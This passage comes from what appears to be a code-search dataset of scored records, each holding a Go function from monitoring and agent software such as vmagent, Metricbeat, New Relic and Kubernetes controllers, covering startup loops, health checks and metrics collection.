float64 {\n\t\t\treturn float64(hourlySeriesLimiter.CurrentItems())\n\t\t})\n\t}\n\tif *maxDailySeries > 0 {\n\t\tdailySeriesLimiter = bloomfilter.NewLimiter(*maxDailySeries, 24*time.Hour)\n\t\t_ = metrics.NewGauge(`vmagent_daily_series_limit_max_series`, func() float64 {\n\t\t\treturn float64(dailySeriesLimiter.MaxItems())\n\t\t})\n\t\t_ = metrics.NewGauge(`vmagent_daily_series_limit_current_series`, func() float64 {\n\t\t\treturn float64(dailySeriesLimiter.CurrentItems())\n\t\t})\n\t}\n\tif *queues > maxQueues {\n\t\t*queues = maxQueues\n\t}\n\tif *queues <= 0 {\n\t\t*queues = 1\n\t}\n\tinitLabelsGlobal()\n\n\t// Register SIGHUP handler for config reload before loadRelabelConfigs.\n\t// This guarantees that the config will be re-read if the signal arrives just after loadRelabelConfig.\n\t// See https://github.com/VictoriaMetrics/VictoriaMetrics/issues/1240\n\tsighupCh := procutil.NewSighupChan()\n\n\trcs, err := loadRelabelConfigs()\n\tif err != nil {\n\t\tlogger.Fatalf(\"cannot load relabel configs: %s\", err)\n\t}\n\tallRelabelConfigs.Store(rcs)\n\trelabelConfigSuccess.Set(1)\n\trelabelConfigTimestamp.Set(fasttime.UnixTimestamp())\n\n\tif len(*remoteWriteURLs) > 0 {\n\t\trwctxsDefault = newRemoteWriteCtxs(nil, *remoteWriteURLs)\n\t}\n\n\t// Start config reloader.\n\tconfigReloaderWG.Add(1)\n\tgo func() {\n\t\tdefer configReloaderWG.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-sighupCh:\n\t\t\tcase <-configReloaderStopCh:\n\t\t\t\treturn\n\t\t\t}\n\t\t\treloadRelabelConfigs()\n\t\t\treloadStreamAggrConfigs()\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "8b95e1085609cac58b1efc0c77382b99", "score": "0.4683495", "text": "func (agent *Agent) Run() error {\n\tif agent.NewrelicLicense == \"\" {\n\t\treturn errors.New(\"please, pass a valid newrelic license key\")\n\t}\n\n\tvar component newrelic_platform_go.IComponent\n\tcomponent = newrelic_platform_go.NewPluginComponent(agent.NewrelicName, agent.AgentGUID, agent.Verbose)\n\n\t// Add default metrics and tracer.\n\taddRuntimeMericsToComponent(component)\n\tagent.Tracer = newTracer(component)\n\n\t// Check agent flags and add relevant metrics.\n\tif agent.CollectGcStat {\n\t\taddGCMetricsToComponent(component, agent.GCPollInterval)\n\t\tagent.debug(fmt.Sprintf(\"Init GC metrics collection. Poll interval %d seconds.\", agent.GCPollInterval))\n\t}\n\n\tif agent.CollectMemoryStat {\n\t\taddMemoryMericsToComponent(component, agent.MemoryAllocatorPollInterval)\n\t\tagent.debug(fmt.Sprintf(\"Init memory allocator metrics collection. Poll interval %d seconds.\", agent.MemoryAllocatorPollInterval))\n\t}\n\n\tif agent.CollectHTTPStat {\n\t\tagent.initTimer()\n\t\taddHTTPMericsToComponent(component, agent.HTTPTimer)\n\t\tagent.debug(fmt.Sprintf(\"Init HTTP metrics collection.\"))\n\t}\n\n\tfor _, metric := range agent.CustomMetrics {\n\t\tcomponent.AddMetrica(metric)\n\t\tagent.debug(fmt.Sprintf(\"Init %s metric collection.\", metric.GetName()))\n\t}\n\n\tif agent.CollectHTTPStatuses {\n\t\tagent.initStatusCounters()\n\t\tcomponent = &resettableComponent{component, agent.HTTPStatusCounters}\n\t\taddHTTPStatusMetricsToComponent(component, agent.HTTPStatusCounters)\n\t\tagent.debug(fmt.Sprintf(\"Init HTTP status metrics collection.\"))\n\t}\n\n\t// Init newrelic reporting plugin.\n\tagent.plugin = newrelic_platform_go.NewNewrelicPlugin(agent.AgentVersion, agent.NewrelicLicense, agent.NewrelicPollInterval)\n\tagent.plugin.Client = agent.Client\n\tagent.plugin.Verbose = agent.Verbose\n\n\t// Add our metrics component to the plugin.\n\tagent.plugin.AddComponent(component)\n\n\t// Start reporting!\n\tgo agent.plugin.Run()\n\treturn nil\n}", "title": "" }, { "docid": "f78443bac3137ce7249ebc0899eb8706", "score": "0.46793395", "text": "func (bt *Metricbeat) Run(b *beat.Beat) error {\n\tvar wg sync.WaitGroup\n\n\t// Static modules (metricbeat.modules)\n\tfor _, m := range bt.modules {\n\t\tclient, err := m.connector.Connect()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tr := module.NewRunner(client, m.module)\n\t\tr.Start()\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\t<-bt.done\n\t\t\tr.Stop()\n\t\t}()\n\t}\n\n\t// Centrally managed modules\n\tfactory := module.NewFactory(bt.moduleOptions...)\n\tmodules := cfgfile.NewRunnerList(management.DebugK, factory, b.Publisher)\n\treload.Register.MustRegisterList(b.Info.Beat+\".modules\", modules)\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\t<-bt.done\n\t\tmodules.Stop()\n\t}()\n\n\t// Dynamic file based modules (metricbeat.config.modules)\n\tif bt.config.ConfigModules.Enabled() {\n\t\tmoduleReloader := cfgfile.NewReloader(b.Publisher, bt.config.ConfigModules)\n\n\t\tif err := moduleReloader.Check(factory); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tgo moduleReloader.Run(factory)\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\t<-bt.done\n\t\t\tmoduleReloader.Stop()\n\t\t}()\n\t}\n\n\t// Autodiscover (metricbeat.autodiscover)\n\tif bt.autodiscover != nil {\n\t\tbt.autodiscover.Start()\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\t<-bt.done\n\t\t\tbt.autodiscover.Stop()\n\t\t}()\n\t}\n\n\twg.Wait()\n\treturn nil\n}", "title": "" }, { "docid": "6ba158cbefe2e30feda7658e7fbde18c", "score": "0.46771", "text": "func daemon(c *cli.Context) error {\n\tlogger.Info(\"Initializing. For verbose output run with \\\"-l debug\\\". Please wait...\")\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tvar bootstraps []ma.Multiaddr\n\tif bootStr := c.String(\"bootstrap\"); bootStr != \"\" {\n\t\tbootstraps = parseBootstraps(strings.Split(bootStr, \",\"))\n\t}\n\n\t// Execution lock\n\tlocker.lock()\n\tdefer locker.tryUnlock()\n\n\t// Load all the configurations and identity\n\tcfgHelper, err := cmdutils.NewLoadedConfigHelper(configPath, identityPath)\n\tcheckErr(\"loading configurations\", err)\n\tdefer cfgHelper.Manager().Shutdown()\n\n\tcfgs := cfgHelper.Configs()\n\n\tif c.Bool(\"stats\") {\n\t\tcfgs.Metrics.EnableStats = true\n\t}\n\tcfgHelper.SetupTracing(c.Bool(\"tracing\"))\n\n\t// Setup bootstrapping\n\traftStaging := false\n\tswitch cfgHelper.GetConsensus() {\n\tcase cfgs.Raft.ConfigKey():\n\t\tif len(bootstraps) > 0 {\n\t\t\t// Cleanup state if bootstrapping\n\t\t\traft.CleanupRaft(cfgs.Raft)\n\t\t\traftStaging = true\n\t\t}\n\tcase cfgs.Crdt.ConfigKey():\n\t\tif !c.Bool(\"no-trust\") {\n\t\t\tcrdtCfg := cfgs.Crdt\n\t\t\tcrdtCfg.TrustedPeers = append(crdtCfg.TrustedPeers, ipfscluster.PeersFromMultiaddrs(bootstraps)...)\n\t\t}\n\t}\n\n\tif c.Bool(\"leave\") {\n\t\tcfgs.Cluster.LeaveOnShutdown = true\n\t}\n\n\tstore := setupDatastore(cfgHelper)\n\n\thost, pubsub, dht, err := ipfscluster.NewClusterHost(ctx, cfgHelper.Identity(), cfgs.Cluster, store)\n\tcheckErr(\"creating libp2p host\", err)\n\n\tcluster, err := createCluster(ctx, c, cfgHelper, host, pubsub, dht, store, raftStaging)\n\tcheckErr(\"starting cluster\", err)\n\n\t// noop if no bootstraps\n\t// if bootstrapping fails, consensus will never be ready\n\t// and timeout. So this can happen in background and we\n\t// avoid worrying about error handling here (since Cluster\n\t// will realize).\n\tgo bootstrap(ctx, cluster, bootstraps)\n\n\t// send readiness notification to systemd\n\tgo func() {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tcase <-cluster.Ready():\n\t\t\tsddaemon.SdNotify(false, sddaemon.SdNotifyReady)\n\t\t}\n\t}()\n\n\treturn cmdutils.HandleSignals(ctx, cancel, cluster, host, dht, store)\n}", "title": "" }, { "docid": "99f36f5a0e5550249a27e884c24107f3", "score": "0.46762788", "text": "func (m *DomainMonitor) Start() error {\n\tm.mutex.Lock()\n\tdefer m.mutex.Unlock()\n\tif m.closed {\n\t\treturn ErrClosed\n\t}\n\tif m.instance != nil {\n\t\treturn nil // Already running\n\t}\n\n\tclient, err := adsi.NewClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif m.domain == \"\" {\n\t\tm.domain, err = dnc(client)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif m.domain == \"\" {\n\t\t\treturn ErrDomainLookupFailed\n\t\t}\n\t}\n\n\tm.instance = poller.New(&domainSource{\n\t\tclient: client,\n\t\tdomain: m.domain,\n\t\tsink: &m.sink,\n\t\tbc: &m.bc,\n\t}, m.interval, m.timeout)\n\n\treturn nil\n}", "title": "" }, { "docid": "f475a97734e3f73d091d119680650503", "score": "0.46758297", "text": "func (a *Agent) Run() (err error) {\n\talog.Info(\"Starting up agent...\")\n\t// start listening for ipc messages\n\t_ = a.notificationHandler.Start()\n\n\tcfg := a.Context.cfg\n\n\tf := a.cpuProfileStart()\n\tif f != nil {\n\t\tdefer a.cpuProfileStop(f)\n\t}\n\n\tgo a.intervalMemoryProfile()\n\n\tif cfg.ConnectEnabled {\n\t\tgo a.connect()\n\t}\n\n\talog.Debug(\"Starting Plugins.\")\n\ta.startPlugins()\n\n\tif err != nil {\n\t\talog.WithError(err).Error(\"failed to start troubleshooting handler\")\n\t}\n\n\tif a.Context.eventSender != nil {\n\t\tif err := a.Context.eventSender.Start(); err != nil {\n\t\t\talog.WithError(err).Error(\"failed to start event sender\")\n\t\t}\n\t}\n\n\tif a.metricsSender != nil {\n\t\tif err := a.metricsSender.Start(); err != nil {\n\t\t\talog.WithError(err).Error(\"failed to start metrics subsystem\")\n\t\t}\n\t}\n\n\t// Timers\n\treapInventoryTimer := time.NewTicker(cfg.FirstReapInterval)\n\tsendInventoryTimer := time.NewTimer(cfg.SendInterval) // Send any deltas every X seconds\n\tdebugTimer := time.Tick(time.Duration(a.Context.Config().DebugLogSec) * time.Second)\n\n\t//Remove send timer\n\tif !a.shouldSendInventory() {\n\t\tsendInventoryTimer.Stop()\n\t\treapInventoryTimer.Stop()\n\t\talog.Info(\"inventory submission disabled\")\n\t}\n\n\t// Timer to engage the process of deleting entities that haven't been reported information during this time\n\tremoveEntitiesPeriod, err := time.ParseDuration(a.Context.Config().RemoveEntitiesPeriod)\n\tif removeEntitiesPeriod <= 0 || err != nil {\n\t\tremoveEntitiesPeriod = defaultRemoveEntitiesPeriod\n\t\terr = nil\n\t}\n\n\tremoveEntitiesTicker := time.NewTicker(removeEntitiesPeriod)\n\treportedEntities := map[string]bool{}\n\n\t// Wait no more than this long for initial inventory reap even if some plugins haven't reported data\n\tinitialReapTimeout := time.NewTimer(config.INITIAL_REAP_MAX_WAIT_SECONDS * time.Second)\n\n\t// keep track of which plugins have phone home\n\tidsReporting := make(map[ids.PluginID]bool)\n\tdistinctPlugins := make(map[ids.PluginID]Plugin)\n\tfor _, p := range a.plugins {\n\t\tdistinctPlugins[p.Id()] = p\n\t}\n\n\t// Register local entity inventory\n\t// This will make the agent submitting unsent deltas from a previous execution (e.g. if an inventory was reaped\n\t// but the agent was restarted before sending it)\n\tif _, ok := a.inventories[a.Context.EntityKey()]; !ok {\n\t\t_ = a.registerEntityInventory(entity.NewFromNameWithoutID(a.Context.EntityKey()))\n\t}\n\n\texit := make(chan struct{})\n\n\tgo func() {\n\t\t<-a.Context.Ctx.Done()\n\n\t\ta.exitGracefully(sendInventoryTimer, reapInventoryTimer, removeEntitiesTicker)\n\n\t\tclose(exit)\n\n\t\t// Should not reach here, just a guard.\n\t\t//<-time.After(service.GracefulExitTimeout)\n\t\t//log.Warn(\"graceful stop time exceeded... forcing stop\")\n\t\t//os.Exit(0)\n\t}()\n\n\t// three states\n\t// -- reading data to write to json\n\t// -- reaping\n\t// -- sending\n\t// ready to consume events\n\tfor {\n\t\tselect {\n\t\tcase <-exit:\n\t\t\treturn nil\n\t\t\t// agent gets notified about active entities\n\t\tcase ent := <-a.Context.activeEntities:\n\t\t\treportedEntities[ent] = true\n\t\t\t// read data from plugin and write json\n\t\tcase data := <-a.Context.ch:\n\t\t\t{\n\t\t\t\tidsReporting[data.Id] = true\n\n\t\t\t\tif data.Id == hostAliasesPluginID {\n\t\t\t\t\t_ = a.updateIDLookupTable(data.Data)\n\t\t\t\t}\n\n\t\t\t\tentityKey := data.Entity.Key.String()\n\t\t\t\tif _, ok := a.inventories[entityKey]; !ok {\n\t\t\t\t\t_ = a.registerEntityInventory(data.Entity)\n\t\t\t\t}\n\n\t\t\t\tif !data.NotApplicable {\n\t\t\t\t\tif err := a.storePluginOutput(data); err != nil {\n\t\t\t\t\t\talog.WithError(err).Error(\"problem storing plugin output\")\n\t\t\t\t\t}\n\t\t\t\t\ta.inventories[entityKey].needsReaping = true\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-reapInventoryTimer.C:\n\t\t\t{\n\t\t\t\tfor _, inventory := range a.inventories {\n\t\t\t\t\tif !a.inv.readyToReap {\n\t\t\t\t\t\tif len(distinctPlugins) <= len(idsReporting) {\n\t\t\t\t\t\t\talog.Debug(\"Signalling initial reap.\")\n\t\t\t\t\t\t\ta.inv.readyToReap = true\n\t\t\t\t\t\t\tinventory.needsCleanup = true\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tpluginIds := make([]ids.PluginID, 0)\n\t\t\t\t\t\t\tfor plgId := range distinctPlugins {\n\t\t\t\t\t\t\t\tif !idsReporting[plgId] {\n\t\t\t\t\t\t\t\t\tpluginIds = append(pluginIds, plgId)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\talog.WithField(\"pluginIds\", pluginIds).Debug(\"Still waiting on plugins.\")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif a.inv.readyToReap && inventory.needsReaping {\n\t\t\t\t\t\treapInventoryTimer.Stop()\n\t\t\t\t\t\treapInventoryTimer = time.NewTicker(cfg.ReapInterval)\n\t\t\t\t\t\tinventory.reaper.Reap()\n\t\t\t\t\t\tif inventory.needsCleanup {\n\t\t\t\t\t\t\tinventory.reaper.CleanupOldPlugins(a.oldPlugins)\n\t\t\t\t\t\t\tinventory.needsCleanup = false\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinventory.needsReaping = false\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-initialReapTimeout.C:\n\t\t\t// If we've waited too long and still not received data from all plugins, we can just send what we have.\n\t\t\tif !a.inv.readyToReap {\n\t\t\t\talog.Debug(\"Maximum initial reap delay exceeded - marking inventory as ready to report.\")\n\t\t\t\ta.inv.readyToReap = true\n\t\t\t\tfor _, inventory := range a.inventories {\n\t\t\t\t\tinventory.needsCleanup = true\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-sendInventoryTimer.C:\n\t\t\ta.sendInventory(sendInventoryTimer)\n\t\tcase <-debugTimer:\n\t\t\t{\n\t\t\t\tdebugInfo, err := a.debugProvide()\n\t\t\t\tif err != nil {\n\t\t\t\t\talog.WithError(err).Error(\"debug error\")\n\t\t\t\t} else if debugInfo != \"\" {\n\t\t\t\t\talog.Debug(debugInfo)\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-removeEntitiesTicker.C:\n\t\t\tpastPeriodReportedEntities := reportedEntities\n\t\t\treportedEntities = map[string]bool{} // reset the set of reporting entities the next period\n\t\t\talog.Debug(\"Triggered periodic removal of outdated entities.\")\n\t\t\ta.removeOutdatedEntities(pastPeriodReportedEntities)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4cd282b6de01552b566b957395d2c984", "score": "0.4674444", "text": "func (s *Sync) Run(namespaces []string) (chan struct{}, error) {\n\tclient, err := rest.RESTClientFor(s.kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ts.clientset, err = kubernetes.NewForConfig(s.kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tquit := make(chan struct{})\n\n \tlogrus.Infof(\"Policy/data ConfigMap processor connected to K8s: namespaces=%v\", namespaces)\n\tfor _, namespace := range namespaces {\n\t\tif namespace == \"*\" {\n\t\t\tnamespace = v1.NamespaceAll\n\t\t}\n\t\tsource := cache.NewListWatchFromClient(\n\t\t\tclient,\n\t\t\t\"configmaps\",\n\t\t\tnamespace,\n\t\t\tfields.Everything())\n\t\t_, controller := cache.NewInformer(\n\t\t\tsource,\n\t\t\t&v1.ConfigMap{},\n\t\t\t0,\n\t\t\tcache.ResourceEventHandlerFuncs{\n\t\t\t\tAddFunc: s.add,\n\t\t\t\tUpdateFunc: s.update,\n\t\t\t\tDeleteFunc: s.delete,\n\t\t\t})\n\t\tgo controller.Run(quit)\n\t}\n\treturn quit, nil\n}", "title": "" }, { "docid": "54948d2aea59cc8b41e628169682ddea", "score": "0.46695092", "text": "func (m *systemPodMetricsMeasurement) Execute(config *measurement.MeasurementConfig) ([]measurement.Summary, error) {\n\tsystemPodMetricsEnabled, err := util.GetBoolOrDefault(config.Params, systemPodMetricsEnabledFlagName, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !systemPodMetricsEnabled {\n\t\tlogrus.Info(\"skipping collection of system pod metrics\")\n\t\treturn []measurement.Summary{}, nil\n\t}\n\n\tmetrics, err := getPodMetrics(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taction, err := util.GetString(config.Params, \"action\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch action {\n\tcase \"start\":\n\t\tm.initSnapshot = metrics\n\t\treturn nil, nil\n\tcase \"gather\":\n\t\tif m.initSnapshot == nil {\n\t\t\treturn nil, fmt.Errorf(\"start needs to be executed before gather\")\n\t\t}\n\t\tsubtractInitialRestartCounts(metrics, m.initSnapshot)\n\t\tsummary, err := buildSummary(metrics)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn summary, nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown action %v\", action)\n\t}\n}", "title": "" }, { "docid": "d8b8ec249036a55a7d1d918f02b40788", "score": "0.4662466", "text": "func (r *Runner) Run(signals <-chan os.Signal, ready chan<- struct{}) error {\n\tlogger := r.logger.Session(\"garden-health\")\n\thealthcheckTimeout := r.clock.NewTimer(r.timeoutInterval)\n\thealthcheckComplete := make(chan error, 1)\n\n\tlogger.Info(\"starting\")\n\n\tgo r.healthcheckCycle(logger, healthcheckComplete)\n\n\tselect {\n\tcase signal := <-signals:\n\t\tlogger.Info(\"signalled\", lager.Data{\"signal\": signal.String()})\n\t\treturn nil\n\n\tcase <-healthcheckTimeout.C():\n\t\tr.setUnhealthy(logger)\n\t\tr.checker.Cancel(logger)\n\t\tlogger.Info(\"timed-out\")\n\t\treturn HealthcheckTimeoutError{}\n\n\tcase err := <-healthcheckComplete:\n\t\tif err != nil {\n\t\t\tr.setUnhealthy(logger)\n\t\t\treturn err\n\t\t}\n\t\thealthcheckTimeout.Stop()\n\t}\n\n\tr.setHealthy(logger)\n\n\tclose(ready)\n\tlogger.Info(\"started\")\n\n\tstartHealthcheck := r.clock.NewTimer(r.checkInterval)\n\temitInterval := r.clock.NewTicker(r.emissionInterval)\n\tdefer emitInterval.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase signal := <-signals:\n\t\t\tlogger.Info(\"signalled-complete\", lager.Data{\"signal\": signal.String()})\n\t\t\treturn nil\n\n\t\tcase <-startHealthcheck.C():\n\t\t\thealthcheckTimeout.Reset(r.timeoutInterval)\n\t\t\tgo r.healthcheckCycle(logger, healthcheckComplete)\n\n\t\tcase <-healthcheckTimeout.C():\n\t\t\tr.setUnhealthy(logger)\n\t\t\tr.checker.Cancel(logger)\n\t\t\tr.metronClient.SendMetric(CellUnhealthyMetric, 1)\n\n\t\tcase <-emitInterval.C():\n\t\t\tr.emitUnhealthyCellMetric(logger)\n\n\t\tcase err := <-healthcheckComplete:\n\t\t\ttimeoutOk := healthcheckTimeout.Stop()\n\t\t\tswitch err.(type) {\n\t\t\tcase nil:\n\t\t\t\tif timeoutOk {\n\t\t\t\t\tr.setHealthy(logger)\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tr.setUnhealthy(logger)\n\t\t\t}\n\n\t\t\tstartHealthcheck.Reset(r.checkInterval)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e4750a577f634a79889ff63b2e834c6e", "score": "0.4649035", "text": "func (vs *VolMgrServer) startHealthCheck() {\n\ttd := time.NewTicker(time.Second * 1)\n\tgo func() {\n\t\tfor range td.C {\n\t\t\tif vs.RaftServer.IsLeader(1) {\n\t\t\t\tvs.DetectDataNodes()\n\t\t\t}\n\t\t}\n\t}()\n\n\ttm := time.NewTicker(time.Second * 1)\n\tgo func() {\n\t\tfor range tm.C {\n\t\t\tif vs.RaftServer.IsLeader(1) {\n\t\t\t\tvs.DetectMetaNodes()\n\t\t\t}\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "d3021ccc887e6ba1395894c0e17fab0e", "score": "0.4647024", "text": "func (s *APAPIServer) Monitor(req *fibcapi.ApMonitorRequest, stream fibcapi.FIBCApApi_MonitorServer) error {\n\treturn s.ctl.Monitor(stream, stream.Context().Done())\n}", "title": "" }, { "docid": "81a36de9f57aee030182f6dd09607829", "score": "0.4643548", "text": "func (a *Agent) Run(ctx context.Context) error {\n\ta.Context = ctx\n\tlog.Printf(\"I! [agent] Config: Interval:%s, Quiet:%#v, Hostname:%#v, \"+\n\t\t\"Flush Interval:%s\",\n\t\ta.Config.Agent.Interval.Duration, a.Config.Agent.Quiet,\n\t\ta.Config.Agent.Hostname, a.Config.Agent.FlushInterval.Duration)\n\n\tlog.Printf(\"D! [agent] Initializing plugins\")\n\terr := a.initPlugins()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstartTime := time.Now()\n\tlog.Printf(\"D! [agent] Connecting outputs\")\n\tnext, ou, err := a.startOutputs(ctx, a.Config.Outputs)\n\tif err != nil {\n\t\treturn err\n\t}\n\ta.ou = ou\n\tvar apu []*processorUnit\n\tvar au *aggregatorUnit\n\tif len(a.Config.Aggregators) != 0 {\n\t\taggC := next\n\t\tif len(a.Config.AggProcessors) != 0 {\n\t\t\taggC, apu, err = a.startProcessors(next, a.Config.AggProcessors)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tnext, au, err = a.startAggregators(aggC, next, a.Config.Aggregators)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tvar pu []*processorUnit\n\tif len(a.Config.Processors) != 0 {\n\t\tnext, pu, err = a.startProcessors(next, a.Config.Processors)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tiu, err := a.startInputs(next, a.Config.Inputs)\n\ta.iu = iu\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\terr := a.runOutputs(ou)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"E! [agent] Error running outputs: %v\", err)\n\t\t}\n\t}()\n\n\tif au != nil {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\terr := a.runProcessors(apu)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"E! [agent] Error running processors: %v\", err)\n\t\t\t}\n\t\t}()\n\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\terr := a.runAggregators(startTime, au)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"E! [agent] Error running aggregators: %v\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tif pu != nil {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\terr := a.runProcessors(pu)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"E! [agent] Error running processors: %v\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\terr := a.runInputs(ctx, startTime, iu)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"E! [agent] Error running inputs: %v\", err)\n\t\t}\n\t}()\n\n\twg.Wait()\n\n\tlog.Printf(\"D! [agent] Stopped Successfully\")\n\treturn err\n}", "title": "" }, { "docid": "af8a3e54ade1d1a3a1905d4f3ec9e4f7", "score": "0.46331608", "text": "func (m *DPAPIMonitorEntry) Start(done <-chan struct{}) {\n\tm.active = true\n\tgo m.Serve(done)\n\n\tm.log.Infof(\"started.\")\n}", "title": "" }, { "docid": "67108d4c0399f53ed1ffd2e17c196a6b", "score": "0.46313548", "text": "func desiredServiceMonitor(ic *operatorv1.IngressController, svc *corev1.Service, deploymentRef metav1.OwnerReference) *unstructured.Unstructured {\n\tname := controller.IngressControllerServiceMonitorName(ic)\n\tsm := &unstructured.Unstructured{\n\t\tObject: map[string]interface{}{\n\t\t\t\"metadata\": map[string]interface{}{\n\t\t\t\t\"namespace\": name.Namespace,\n\t\t\t\t\"name\": name.Name,\n\t\t\t},\n\t\t\t\"spec\": map[string]interface{}{\n\t\t\t\t\"namespaceSelector\": map[string]interface{}{\n\t\t\t\t\t\"matchNames\": []interface{}{\n\t\t\t\t\t\toperatorcontroller.DefaultOperandNamespace,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"selector\": map[string]interface{}{\n\t\t\t\t\t\"matchLabels\": map[string]interface{}{\n\t\t\t\t\t\tmanifests.OwningIngressControllerLabel: ic.Name,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// It is important to use the type []interface{}\n\t\t\t\t// for the \"endpoints\" field. Using\n\t\t\t\t// []map[string]interface{} causes at least two\n\t\t\t\t// problems: first, DeepCopy will fail with\n\t\t\t\t// \"cannot deep copy []map[string]interface {}\";\n\t\t\t\t// second, the API returns an object that uses\n\t\t\t\t// type []interface{} for this field, so\n\t\t\t\t// DeepEqual against an API object will always\n\t\t\t\t// return false.\n\t\t\t\t\"endpoints\": []interface{}{\n\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\t\"bearerTokenFile\": \"/var/run/secrets/kubernetes.io/serviceaccount/token\",\n\t\t\t\t\t\t\"interval\": \"30s\",\n\t\t\t\t\t\t\"port\": \"metrics\",\n\t\t\t\t\t\t\"scheme\": \"https\",\n\t\t\t\t\t\t\"path\": \"/metrics\",\n\t\t\t\t\t\t\"tlsConfig\": map[string]interface{}{\n\t\t\t\t\t\t\t\"caFile\": \"/etc/prometheus/configmaps/serving-certs-ca-bundle/service-ca.crt\",\n\t\t\t\t\t\t\t\"serverName\": fmt.Sprintf(\"%s.%s.svc\", svc.Name, svc.Namespace),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tsm.SetGroupVersionKind(schema.GroupVersionKind{\n\t\tGroup: \"monitoring.coreos.com\",\n\t\tKind: \"ServiceMonitor\",\n\t\tVersion: \"v1\",\n\t})\n\tsm.SetOwnerReferences([]metav1.OwnerReference{deploymentRef})\n\treturn sm\n}", "title": "" }, { "docid": "7d4b5fc5cab0096755a8f62da3540f95", "score": "0.46309254", "text": "func (h *healthcheckManager) run() {\n\tfor {\n\t\tselect {\n\t\tcase <-h.quit:\n\t\t\th.unmarkAllBackends()\n\t\t\th.stopped <- true\n\t\tcase vc := <-h.vcc:\n\t\t\th.update(vc.vserverName, vc.checks)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d0283d568160e5a5fc8d5b02ea36a2d2", "score": "0.46247512", "text": "func (acir *awsContainerInsightReceiver) Start(ctx context.Context, host component.Host) error {\n\tctx, acir.cancel = context.WithCancel(ctx)\n\n\thostinfo, err := hostInfo.NewInfo(acir.config.ContainerOrchestrator, acir.config.CollectionInterval, acir.settings.Logger)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif acir.config.ContainerOrchestrator == ci.EKS {\n\t\tk8sDecorator, err := stores.NewK8sDecorator(ctx, acir.config.TagService, acir.config.PrefFullPodName, acir.config.AddFullPodNameMetricLabel, acir.settings.Logger)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdecoratorOption := cadvisor.WithDecorator(k8sDecorator)\n\t\tacir.cadvisor, err = cadvisor.New(acir.config.ContainerOrchestrator, hostinfo, acir.settings.Logger, decoratorOption)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tacir.k8sapiserver, err = k8sapiserver.New(hostinfo, acir.settings.Logger)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif acir.config.ContainerOrchestrator == ci.ECS {\n\n\t\tecsInfo, err := ecsinfo.NewECSInfo(acir.config.CollectionInterval, hostinfo, host, acir.settings)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tecsOption := cadvisor.WithECSInfoCreator(ecsInfo)\n\n\t\tacir.cadvisor, err = cadvisor.New(acir.config.ContainerOrchestrator, hostinfo, acir.settings.Logger, ecsOption)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tgo func() {\n\t\t// cadvisor collects data at dynamical intervals (from 1 to 15 seconds). If the ticker 